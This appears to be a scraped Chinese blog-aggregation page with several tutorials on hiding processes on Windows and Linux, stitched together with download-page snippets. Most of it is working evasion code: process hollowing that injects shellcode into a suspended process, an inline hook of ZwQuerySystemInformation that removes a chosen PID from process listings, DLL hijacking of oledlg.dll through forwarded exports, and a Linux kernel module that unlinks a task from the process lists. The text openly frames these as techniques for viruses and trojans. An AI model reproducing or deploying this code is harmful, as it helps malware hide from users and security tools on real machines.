精华内容
下载资源
问答
  • 进程隐藏

    2019-03-31 11:03:00
    1 基于系统服务的进程隐藏技术在 W I N 9X 系列操作系统中, 系统进程列表中不能看到任何系统服务进程, 因此只需要将指定进程注册为系统服务就能够使该进程从系统进程列表中隐形 在win9x下用RegisterServiceProcess...

    1  基于系统服务的进程隐藏技术
    在 W I N 9X 系列操作系统中, 系统进程列表中不能看到任何系统服务进程, 因此只需要将指定进程注册为系统服务就能够使该进程从系统进程列表中隐形

    在win9x下用RegisterServiceProcess函数隐藏进程,NT架构下用不了 即win2000  xp等什么的用不了此方法。

    转载于:https://www.cnblogs.com/hshy/p/10630534.html

    展开全文
  • 进程隐藏工具

    2015-06-29 20:35:52
    进程隐藏进程
  • windows进程隐藏工具

    2018-09-08 20:32:04
    进程隐藏工具是简单小巧的软件,可以隐藏任务栏、进程,一键隐藏你想隐藏的程序。如果你上班、上课期间偷偷看电影、玩游戏又害怕被发现,可以下载一款进程隐藏工具,一键就能隐藏你开着的进程。
  • 进程隐藏.e.rar

    2020-03-29 02:50:35
    进程隐藏.e.rar 进程隐藏.e.rar 进程隐藏.e.rar 进程隐藏.e.rar 进程隐藏.e.rar 进程隐藏.e.rar
  • 进程隐藏技术

    千次阅读 2019-08-28 09:52:26
    文章目录进程隐藏技术1.进程伪装2.傀儡进程3.进程隐藏4.DLL劫持 进程隐藏技术 进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。 傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建傀儡...

    进程隐藏技术

    • 进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。
    • 傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建傀儡进程
    • 进程隐藏:通过HOOK函数ZwQuerySystemInfornation实现进程隐藏
    • DLL劫持:通过#pragma comment指令直接转发DLL导出函数或者通过LoadLibrary和GetProcAddress函数获取DLL导出函数并调用

    1.进程伪装

    对病毒木马来说,最简单的进程伪装方式就是修改进程名,例如将本地文件名修改成services.exe等系统进程名,从而不被用户发现。进程伪装指的是可以修改任意指定进程信息,即该进程信息再系统中显示的是另一个进程的信息。这样指定进程和伪装进程相同,但实际,执行的操作是不同的。

    __kernel_entry NTSTATUS NtQueryInformationProcess(
      IN HANDLE           ProcessHandle,	//目标进程句柄
      IN PROCESSINFOCLASS ProcessInformationClass,	//获取信息类型
      OUT PVOID           ProcessInformation,	//指向调用应用程序提供的缓冲区的指针,函数将所请求的信息写入该缓冲区。
      IN ULONG            ProcessInformationLength,//ProcessInformation缓冲区大小
      OUT PULONG          ReturnLength //函数返回请求信息的大小
    );
    

    ProcessInformationClass 要检索的过程信息的类型:

    含义
    ProcessBasicInformation0 检索指向PEB结构的指针,该指针可用于确定是否正在调试指定的进程,以及系统用于标识指定进程的唯一值。使用CheckRemoteDebuggerPresentGetProcessId 函数来获取此信息。
    ProcessDebugPort7 检索DWORD_PTR值,该值是进程的调试器的端口号。非零值表示该进程正在环3调试器的控制下运行。使用CheckRemoteDebuggerPresentIsDebuggerPresent函数。
    ProcessWow64Information26 确定进程是否在WOW64环境中运行(WOW64是允许基于Win32的应用程序在64位Windows上运行的x86仿真器)。使用IsWow64Process2函数获取此信息。
    ProcessImageFileName27 检索包含进程的映像文件名称的UNICODE_STRING值。使用QueryFullProcessImageNameGetProcessImageFileName函数来获取此信息。
    ProcessBreakOnTermination29 检索ULONG值,指示该进程是否被视为关键。注意 此值可以在带有SP3的Windows XP中使用。从Windows 8.1开始,应该使用IsProcessCritical
    ProcessSubsystemInformation75 检索SUBSYSTEM_INFORMATION_TYPE值,该值指示进程的子系统类型。ProcessInformation参数指向的缓冲区应足够大,以容纳单个SUBSYSTEM_INFORMATION_TYPE枚举。

    此函数没有关联的导入库。您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。

    //当ProcessInformationClass 参数是ProcessBasicInformation,缓冲器指向的PROCESSINFORMATION参数应足够
    //大,以保持单个PROCESS_BASIC_INFORMATION具有下述布局结构:
    typedef struct _PROCESS_BASIC_INFORMATION {
        PVOID Reserved1;
        PPEB PebBaseAddress;	//指向PEB结构
        PVOID Reserved2[2];
        ULONG_PTR UniqueProcessId;	//指向该过程的唯一标识符。使用GetProcessId函数检索此信息。
        PVOID Reserved3;
    } PROCESS_BASIC_INFORMATION;
    

    示例代码:

    typedef NTSTATUS (WINAPI* pfnNtQueryInformationProcess)(
      IN HANDLE           ProcessHandle,	
      IN PROCESSINFOCLASS ProcessInformationClass,	
      OUT PVOID           ProcessInformation,	
      IN ULONG            ProcessInformationLength,
      OUT PULONG          ReturnLength
     );
    BOOL DisguiseProcess(DWORD dwProcessId, WCHAR* lpwszpath, WCHAR* lpwszCmd)
    {
        //获取进程句柄
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (!hProcess)
    	{
    		OutPutDebugStringA("进程句柄获取失败\n");
    		return false;
    	}
        //
        pfnNtQueryInformationProcess fnNtQueryInformationProcess = NULL;
        
    }
    

    2.傀儡进程


    /*
    	傀儡进程
    	实现原理:修改指定进程内存数据,向内存中写入ShellCode代码,并修改该进程的执行流程,
    使其转而执行ShellCode代码,这样进程还是原来的进程,但是执行的操作变了.
    	关键技术点:
    		一. 写入ShellCode的时机
    		二. 更改执行流程的方法
    	CreateProcess提供CREATE_SUSPENDED作为线程创建后主进程挂起的标志,这时主线程处于挂起状态,
    直到ResumeThread恢复线程,方可执行.使用SetThreeadContext可以修改线程上下文中的EIP数据.
    
    	实现流程:
    	1. CreateProcess创建进程,设置CREATE_SUSPENDED挂起进程标志
    	2. 调用VirtualAllocEx函数在新进程申请一个可读可写可执行的内存,并调用WriteProcessMemory
    写入ShellCode数据,考虑到傀儡进程内存占用过大的问题,也可以调用ZwUnmapViewOfSection函数卸载
    傀儡进程并加载模块
    	3. 调用GetThreeadContext,设置获取标志CONTEXT_FULL,修改EIP,再调用SetThreeadContext
    	4. 调用ResumeThread恢复进程
    */
    
    BOOL ReplaceProcess(WCHAR* pszFilePath, PVOID pRelaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
    {
    	//1. CreateProcess创建目标进程,设置CREATE_SUSPENDED挂起进程标志
    	STARTUPINFO stcSi = { 0 };
    	stcSi.cb = sizeof(stcSi);
    	PROCESS_INFORMATION stcPi = { 0 };
    	BOOL bRet = CreateProcessW(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,
    		NULL, NULL, &stcSi, &stcPi);
    	if (!bRet)
    	{
    		printf("创建进程失败\n");
    		return FALSE;
    	}
    	//2. 调用VirtualAllocEx函数在新进程申请一个可读可写可执行的内存,并调用WriteProcessMemory
    	//写入ShellCode数据, 考虑到傀儡进程内存占用过大的问题, 也可以调用ZwUnmapViewOfSection函数卸载
    	//傀儡进程并加载模块
    	LPVOID lpBuffer = VirtualAllocEx(stcPi.hProcess, NULL, dwReplaceDataSize,
    		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    	if (!lpBuffer)
    	{
    		printf("申请内存失败\n");
    		return FALSE;
    	}
    	WriteProcessMemory(stcPi.hProcess, lpBuffer, pRelaceData, dwReplaceDataSize, NULL);
    	//3.调用GetThreeadContext,设置获取标志CONTEXT_FULL,修改EIP,再调用SetThreeadContext
    	CONTEXT stcCt = { CONTEXT_FULL };
    	GetThreadContext(stcPi.hThread, &stcCt);
    	stcCt.Eip = (DWORD)lpBuffer + dwRunOffset;
    	SetThreadContext(stcPi.hThread, &stcCt);
    	//4.调用ResumeThread恢复进程
    	ResumeThread(stcPi.hThread);
    	return TRUE;
    }
    

    3.进程隐藏


    #include <Windows.h>
    #include <winternl.h>
    /*
    	隐藏进程
    	实现原理:通过HOOKAPI ZwQuerySystemInformation可以实现进程隐藏.这是因为EnumProcess或者
    CreateToolHelp32Snapshot遍历进程,都是通过ZwQuerySystemInformation函数来检索系统进程信息的.
    	实现方法:内联HOOK或者IAT HOOK
    	1. 获取ZwQuerySystemInformation函数地址
    	2. 根据32和64位版本,计算偏移,修改函数前xx字节数据
    	3. 先修改页属性,再修好内存数据,恢复页属性
    	4. 在My_ZwQuerySystemInformation函数中判断是否检索要隐藏进程,
    若是隐藏进程,遍历检索结果,剔除隐藏进程的信息,将修改数据返回
    
    */
    
    /*
    	x86系统	修改前5字节
    	---------------------------------------------------
    	HOOK前:	0x41000  E8 007f00000  call OpenProcess
    	HOOK后: 0x41000  E9 000410000  call MyOpenProcess
    	填充地址计算公式: 跳转偏移 = 目标地址 - 指令所在 - 5
    	---------------------------------------------------
    
    	x64系统 修改前12字节
    	---------------------------------------------------
    	mov rax,目标地址	0x48 0xb8 00000000
    跳转方式1:	push rax	0x50
    		   ret		   0xC3
    跳转方式2:  jmp rax		0xff  0xe0
    	---------------------------------------------------
    */
    BYTE g_OldData32[5] = { 0 };
    BYTE g_OldData64[12] = { 0 };
    pfnZwQuerySystemInformation fnZwQuerySystemInformation = NULL;
    
    typedef NTSTATUS (WINAPI* pfnZwQuerySystemInformation)(
    	SYSTEM_INFORMATION_CLASS SystemInformationClass,
    	PVOID SystemInformation,
    	ULONG SystemInformationLength,
    	PULONG ReturnLength);
    
    NTSTATUS WINAPI My_ZwQuerySystemInformation(
    	SYSTEM_INFORMATION_CLASS SystemInformationClass,
    	PVOID SystemInformation,
    	ULONG SystemInformationLength,
    	PULONG ReturnLength)
    {
    
    	DWORD dwHidePid = 1124;	//1.要隐藏的进程ID
    	UnHook();
    	// 调用原函数
    	NTSTATUS status = fnZwQuerySystemInformation(SystemInformationClass, SystemInformation,
    		SystemInformationLength, ReturnLength);
    	// 判断
    	if (NT_SUCCESS(status) && 5==SystemInformationClass)
    	{
    		PSYSTEM_PROCESS_INFORMATION pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    		PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
    		while (TRUE)
    		{			
    			//判断PID是否是隐藏进程
    			if (dwHidePid == (DWORD)pCur->UniqueProcessId)
    			{
                      //pPrev -- 指向前一个
                      //pCur  -- 指向当前
                      //pNext -- 指向下一个
    				//找到隐藏进程,清除进程信息,即将pPrev的NextEntryOffset字段改为pNext偏移
    				if (0==pCur->NextEntryOffset && pPrev)
    				{
    					pPrev->NextEntryOffset = 0;
    				}
    				else
    				{
    					pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
    				}
    			}
    			else
    			{
    				pPrev = pCur;
    			}
    			if (0 == pCur->NextEntryOffset)
    			{
    				break;
    			}
    			pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
    		}
    	}
    	HookAPI();
    	return status;
    }
    
    
    void HookAPI()
    {
    	// 1.获取Ntdll中的ZwQuerySystemInformation函数地址
    	HMODULE hNtdll = ::GetModuleHandleA("ntdll.dll");
    	fnZwQuerySystemInformation = \
    		(pfnZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
    	if (!fnZwQuerySystemInformation)return;
    	// 2.修改地址
    #ifndef _WIN64
    	BYTE pData[5] = { 0xE9 };
    	DWORD dwOffset= (DWORD)My_ZwQuerySystemInformation - (DWORD)fnZwQuerySystemInformation - 5;
    	::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
    	//保存前5字节数据
    	::RtlCopyMemory(g_OldData32, fnZwQuerySystemInformation, 5);
    #else
    	BYTE pData[12] = { 0x48,0xB8,0,0,0,0,0,0,0,0,0x50,0xC3 };
    	ULONGLONG dwDestAddr = (ULONGLONG)fnZwQuerySystemInformation;
    	::RtlCopyMemory(&pData[2], &dwDestAddr, sizeof(dwDestAddr));
    	//保存前12字节数据
    	::RtlCopyMemory(g_OldData64, fnZwQuerySystemInformation, 12);
    #endif
    	// 3.设置页面属性可读可写可执行
    	DWORD dwOldProtect = 0;
    	VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, 
    		&dwOldProtect);
    	::RtlCopyMemory(fnZwQuerySystemInformation, pData, sizeof(pData));
    	VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), dwOldProtect,
    		&dwOldProtect);
    }
    void UnHook()
    {
    	DWORD dwOldProtect = 0;
    #ifndef _WIN64
    	VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData32), PAGE_EXECUTE_READWRITE,
    		&dwOldProtect);
    	::RtlCopyMemory(fnZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));
    	VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData32), dwOldProtect,
    		&dwOldProtect);
    #else
    	VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData64), PAGE_EXECUTE_READWRITE,
    		&dwOldProtect);
    	::RtlCopyMemory(fnZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));
    	VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData64), dwOldProtect,
    		&dwOldProtect);
    #endif
    	
    }
    

    4.DLL劫持


    实现原理:

    进程在尝试加载一个DLL时,若没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个dll,如果攻击者控制其中某一个目录,并且放一个恶意的dll文件到这个目录下,那么这个恶意的dll便会被进程加载,进程执行dll的恶意代码,即所谓的dll劫持。
    Windows加载器在分析可执行模块的输入表时,输入表只要dll名,没有路径,windows搜索dll顺序如下:
    程序所在目录->系统目录->16位系统目录->windows目录->当前目录->PATH环境变量中的各个目录

    伪造一个与同名的dll,提供同样的输出表,并使每个函数指向真正的系统dll,有两种方式

    方式一:直接转发DLL函数
    在所有的预处理指令中,#pragma 指令是设定编译器的状态或者指示编译器完成特定的动作,通过下面指令完成转发函数的操作

    #pragma comment(linker,"/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]")
    

    使用/EXPORT选项,可以从程序中导出函数,以便其他程序可以调用该函数,它也可以导出数据.其中,

    • entryname是调用程序要使用的函数或者数据项的名称.

    • ordinal在导出表中指定范围在1-65535之间的索引,如果没有指定ordinal,则链接器将分配一个.

    • NONAME关键字只能将函数导出作为序号,并且没有entryname.

    • DATA关键字指定导出项为数据项,用户程序中的数据项必须用extern__declspec(dllimport)来声明

      //例如:转发MessageBoxTest为MessageBoxA
      #pragma comment(linker,"/EXPORT:MessageBoxTest=user32.MessageBoxA")
      //当调用MessageBoxTest时,系统会将其直接转发给user32.MessageBoxA去执行
      

    方式二:调用DLL函数

    ​ 通过LoadLibrary和GetProcAddress函数来获取函数地址,然后跳转执行。

    //裸函数naked特性仅适用于x86和ARM,并不用于x64
    //_asm内联汇编也不能在x64中使用
    extern "C" void __declspec(naked) MessageBoxATest()
    {
        PVOID pAddr=NULL;
        HMODULE hDll=LoadLibraryA("C:\\Windows\\System32\\user32.dll");
        if(NULL != hDll)
        {
            pAddr=GetProcAddress(hDll,"MessageBoxA");
            if(pAddr)
            {
                _asm jmp pAddr
            }
            FreeLibrary(hDll);
        }
    }
    

    使用AheadLibDLL劫持代码生成工具

    展开全文
  • 在上一篇文章中,对进程隐藏技术进行了简单的介绍,本篇文章详细开始详细地实现一个DLL挟持作为学习。 首先啊,我们应该知道DLL挟持可以用来隐藏进程,但是它不止可以用来隐藏进程,还有很多其他的骚操作,毕竟我把...

    《进程隐藏技术系列之简介》https://blog.csdn.net/weixin_43742894/article/details/105793689
    在上一篇文章中,对进程隐藏技术进行了简单的介绍,本篇文章详细开始详细地实现一个DLL挟持作为学习。
    首先啊,我们应该知道DLL挟持可以用来隐藏进程,但是它不止可以用来隐藏进程,还有很多其他的骚操作,毕竟我把你dll都挟持了,想干点啥还不简单吗?

    实现原理

    dll挟持的目的,在这里肯定就是隐藏进程了,下面我们只需要了解了解实现原理。
    程序在运行时,通常会加载很多DLL文件,所以说如果我们可以伪造一个dll让系统调用,程序该干嘛干嘛 但是里面的一些东西实际上已经被我们改动过了.只要能执行我们自己的函数,那么我们就可以达到进程隐藏的目的。

    如何劫持:

    进程在尝试加载一个DLL时,若没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个dll,如果攻击者控制其中某一个目录,并且放一个恶意的dll文件到这个目录下,那么这个恶意的dll便会被进程加载,进程执行dll的恶意代码,即所谓的dll劫持。

    加载顺序

    Windows加载器在分析可执行模块的输入表时,输入表只要dll名,没有路径,windows搜索dll顺序如下:
    程序所在目录->系统目录->16位系统目录->windows目录->当前目录->PATH环境变量中的各个目录

    注意事项

    我们需要先伪造一个与原来dll同名的dll,提供同样的输出表,并使每个函数指向真正的系统dll。
    这里有俩种方法:

    方式一:直接转发DLL函数
    在所有的预处理指令中,#pragma 指令是设定编译器的状态或者指示编译器完成特定的动作,通过下面指令完成转发函数的操作

    #pragma comment(linker,"/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]")
    
    使用/EXPORT选项,可以从程序中导出函数,以便其他程序可以调用该函数,它也可以导出数据.其中,
    
    entryname是调用程序要使用的函数或者数据项的名称.
    
    ordinal在导出表中指定范围在1-65535之间的索引,如果没有指定ordinal,则链接器将分配一个.
    
    NONAME关键字只能将函数导出作为序号,并且没有entryname.
    
    DATA关键字指定导出项为数据项,用户程序中的数据项必须用extern__declspec(dllimport)来声明
    
    

    方式二:调用DLL函数

    ​ 通过LoadLibrary和GetProcAddress函数来获取函数地址,然后跳转执行。

    extern "C" void __declspec(naked) MessageBoxATest()
    {
        PVOID pAddr=NULL;
        HMODULE hDll=LoadLibraryA("C:\\Windows\\System32\\user32.dll");
        if(NULL != hDll)
        {
            pAddr=GetProcAddress(hDll,"MessageBoxA");
            if(pAddr)
            {
                _asm jmp pAddr
            }
            FreeLibrary(hDll);
        }
    }
    
    

    代码实现:

    以劫持oledlg.dll为例,这里用的是转发函数法。

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    
    #include <SDKDDKVer.h>
    #define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
    // Windows 头文件
    #include <windows.h>
    
    
    #pragma comment(lib,"User32.lib")
    
    BOOL APIENTRY DllMain(HMODULE hModule,
    	DWORD  ul_reason_for_call,
    	LPVOID lpReserved
    )
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    		::MessageBoxA(NULL, "DLL劫持成功", "Qz", MB_OK | MB_ICONWARNING);
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    
    //直接转发函数
    #pragma comment(linker, "/EXPORT:OleUIAddVerbMenuA=Old_oledlg.OleUIAddVerbMenuA")
    #pragma comment(linker, "/EXPORT:OleUICanConvertOrActivateAs=Old_oledlg.OleUICanConvertOrActivateAs")
    #pragma comment(linker, "/EXPORT:OleUIInsertObjectA=Old_oledlg.OleUIInsertObjectA")
    #pragma comment(linker, "/EXPORT:OleUIPasteSpecialA=Old_oledlg.OleUIPasteSpecialA")
    #pragma comment(linker, "/EXPORT:OleUIEditLinksA=Old_oledlg.OleUIEditLinksA")
    #pragma comment(linker, "/EXPORT:OleUIChangeIconA=Old_oledlg.OleUIChangeIconA")
    #pragma comment(linker, "/EXPORT:OleUIConvertA=Old_oledlg.OleUIConvertA")
    #pragma comment(linker, "/EXPORT:OleUIBusyA=Old_oledlg.OleUIBusyA")
    #pragma comment(linker, "/EXPORT:OleUIUpdateLinksA=Old_oledlg.OleUIUpdateLinksA")
    #pragma comment(linker, "/EXPORT:OleUIPromptUserA=Old_oledlg.OleUIPromptUserA")
    #pragma comment(linker, "/EXPORT:OleUIObjectPropertiesA=Old_oledlg.OleUIObjectPropertiesA")
    #pragma comment(linker, "/EXPORT:OleUIChangeSourceA=Old_oledlg.OleUIChangeSourceA")
    #pragma comment(linker, "/EXPORT:OleUIAddVerbMenuW=Old_oledlg.OleUIAddVerbMenuW")
    #pragma comment(linker, "/EXPORT:OleUIBusyW=Old_oledlg.OleUIBusyW")
    #pragma comment(linker, "/EXPORT:OleUIChangeIconW=Old_oledlg.OleUIChangeIconW")
    #pragma comment(linker, "/EXPORT:OleUIChangeSourceW=Old_oledlg.OleUIChangeSourceW")
    #pragma comment(linker, "/EXPORT:OleUIConvertW=Old_oledlg.OleUIConvertW")
    #pragma comment(linker, "/EXPORT:OleUIEditLinksW=Old_oledlg.OleUIEditLinksW")
    #pragma comment(linker, "/EXPORT:OleUIInsertObjectW=Old_oledlg.OleUIInsertObjectW")
    #pragma comment(linker, "/EXPORT:OleUIObjectPropertiesW=Old_oledlg.OleUIObjectPropertiesW")
    #pragma comment(linker, "/EXPORT:OleUIPasteSpecialW=Old_oledlg.OleUIPasteSpecialW")
    #pragma comment(linker, "/EXPORT:OleUIPromptUserW=Old_oledlg.OleUIPromptUserW")
    #pragma comment(linker, "/EXPORT:OleUIUpdateLinksW=Old_oledlg.OleUIUpdateLinksW")
    //23
    
    展开全文
  • 天狼进程隐藏工具1.2

    2018-05-12 09:45:39
    天狼进程隐藏工具1.2天狼进程隐藏工具1.2天狼进程隐藏工具1.2
  • 易语言进程隐藏模块源码,进程隐藏模块,GetModuleListAddress,枚举模块,GetDword,GetWord,GetByte,SetDword,隐藏进程,GetEProcess,十六文本至长整数,ReadMemory,WriteMemory,ZwQueryInformationProcess,OpenProcess,...
  • 天狼进程隐藏工具1.2
  • 易语言根据进程隐藏窗口源码,根据进程隐藏窗口,延时_高精度等待_,根据进程隐藏程序_,API_CreateWaitableTimerA_,API_关闭句柄_CMD实时获取_高精度等待_,API_MsgWaitForMultipleObjects_,API_SetWaitableTimer_
  • 64位进程隐藏

    2013-12-08 14:07:47
    64位进程隐藏
  • 进程隐藏工具HideApp

    2010-01-21 00:39:32
    进程隐藏工具进程隐藏工具进程隐藏工具进程隐藏工具进程隐藏工具进程隐藏工具进程隐藏工具进程隐藏工具进程隐藏工具进程隐藏工具进程隐藏工具进程隐藏工具
  • C++实现进程隐藏

    热门讨论 2013-04-22 16:35:56
    用VC++实现进程隐藏,在WINDOWS平台下的隐藏
  • 0x01:先说说一般进程隐藏的常见方式 0x02:

    0x01:先说说一般进程隐藏进程的常见方式,这里就直接引用大佬的辣

    1.1 用户级Rootkit 通过LD_PRELOAD来hook libc库,从而过滤/proc/pid目录

    1.2 内核级rootkit 通过hook系统调用getdents/getdents64或者hook 文件file_operation的iterate

    1.3 内核级rootkit把task_struct 从相关链表摘除(init_task,pidlist)

    0x02:进程摘链隐藏与恢复

    前面两种实现的方式都是比较普遍的做法,第二种方式笔者前几篇文章也有介绍过,有兴趣的可以参考一下,这里主要讲一讲第三中隐藏方法,顾名思义也就是说Linux内核通过链表来维护所有的进程和对应的pid号,知道这点,就知道怎么去下手了,首先我们需要看看两个结构体,task_struct 和 pid 两个结构体,这里主要贴出我们用的部分,其他的可以参见内核源码 include/linux/sched.h;

    	//我这里参照的是5.2的内核代码,和低版本还是有区别的
    	struct sched_info		sched_info;
    	struct list_head		tasks;
    	/* PID/PID hash table linkage. */
    	struct pid			*thread_pid;
    	struct hlist_node		pid_links[PIDTYPE_MAX];
    	struct list_head		thread_group;
    	struct list_head		thread_node;
    

    直接上代码了:

    #include <linux/module.h>
    #include <linux/sched.h>
    
    /*摘链隐藏代码,只需要修改想要隐藏pid号就可以了*/
    void hide_process(void)
    {
        /* Linux kernel version 4.x.x */
        // int pid = 2;
        // struct task_struct *task = NULL;
        // struct pid_link *link = NULL;
        // struct hlist_node *node = NULL;
    
        // task = pid_task(find_vpid(pid), PIDTYPE_PID);
        // link = &task->pids[PIDTYPE_PID];
    
        // list_del_rcu(&task->tasks);
        // INIT_LIST_HEAD(&task->tasks);
        // node = &link->node;
        // hlist_del_rcu(node);
        // INIT_HLIST_NODE(node);
        // node->pprev = &node;
    
        /* linx kernel version is 5.4.8 */
        int pid = 2;
        struct task_struct *task = NULL;
        struct hlist_node *node = NULL;
    
        task = pid_task(find_vpid(pid), PIDTYPE_PID);
    
        list_del_rcu(&task->tasks);
        INIT_LIST_HEAD(&task->tasks);
        node = &task->pid_links[PIDTYPE_PID];
        hlist_del_rcu(node);
        INIT_HLIST_NODE(node);
        node->pprev = &node;
    }
    
    /*还原链表,ps -aux仍然可以查看进程信息*/
    static int restore_process(struct task_struct *task)
    {
    	struct hlist_node *node = NULL;
    	struct pid *thread_pid = NULL;
    
    	printk("Enter into restore process procedure!\n");
    
    	hlist_add_head_rcu(&task->pid_links[PIDTYPE_PID], &task->thread_pid->tasks[PIDTYPE_PID]);
    	list_add_tail_rcu(&task->tasks, &init_task.tasks);
    
    	return 0;
    }
    
    static int __init test_init(void)
    {
        hide_process();
    
        return -1;
    }
     
    static void __exit test_exit(void){
    	
    	printk(KERN_INFO "file --> %s function --> %s  line --> %d\n",__FILE__,__func__,__LINE__);
     
    }
     
    module_init(test_init);
    module_exit(test_exit);
    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("curtis li");
    
    

    参考两位大佬的文章:
    https://blog.csdn.net/dog250/article/details/105270500
    https://blog.csdn.net/bin_linux96/article/details/105889045

    展开全文
  • 天狼进程隐藏工具是一款非常实用的进程隐藏工具,你是否也在玩游戏使用辅助的时候但是被检测出来呢,那小编带来的这款神器就能非常好的帮助到你了,让你想怎么玩就怎么玩。 天狼进程隐藏工具简介 天狼进程隐藏是一...
  • 资源介绍:易语言进程隐藏模块源码例程程序调用API函数实现进程的隐藏。点评:易语言进程隐藏模块源码是易语言API应用例程。资源作者:三叶易语言自学网资源下载:
  • rootkit,backdoor,系统调用劫持,ps进程隐藏,ls文件隐藏,代码
  • 苏苏进程隐藏工具.rar

    2019-07-15 15:40:06
    很多软件程序出于保护和安全等因素,会禁止用户启动多个程序进程,特别网络游戏都通过各种方式禁止游戏多开,而大多数玩网游的童鞋都习惯多开使用,当然我们有很多方法可以让这些游戏进程多开,而苏苏进程隐藏工具...
  • 完整版进程隐藏.e.rar

    2020-04-03 07:18:06
    完整版进程隐藏.e.rar
  • CE和进程隐藏 最新版

    2018-10-07 21:58:52
    强大的CE最新版搭配进程隐藏 可破很多游戏 只要你懂CE 那这东西太有用了
  • 进程隐藏,顾名思义就是运行注入程序之后,可以在任务管理器中让可见的目标进程消失。 当然,进程隐藏的方法有很多,例如 DLL 劫持、DLL注入、代码注入、进程内存替换、HOOK API 等等。我们本文要介绍的就是 HOOK ...
  • 程序进程隐藏软件可以对用户系统正在运行的进程进行隐藏保护,以防止被其他程序占用,隐藏的程序别人是无法查看和结束的,除此之外还可以对进程进行暂停运行。通过程序进程隐藏软件,可以很方便对系统所有进程进行...
  • 什么是进程隐藏? 对 Windows系统可以用自带的任务管理器,查看进程列表, 找出可疑进程。 恶意代码为了保护自己的进程不被发现,所以就有了进程隐藏技术,用来对抗进程检测。 为什么需要进程隐藏进程隐藏是病毒...
  • 驱动级别进程隐藏,xp
  • 无忧隐藏(窗口隐藏-文件夹隐藏-进程隐藏工具软件) 无忧隐藏(窗口隐藏-文件夹隐藏-进程隐藏工具软件)

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 5,129
精华内容 2,051
关键字:

进程隐藏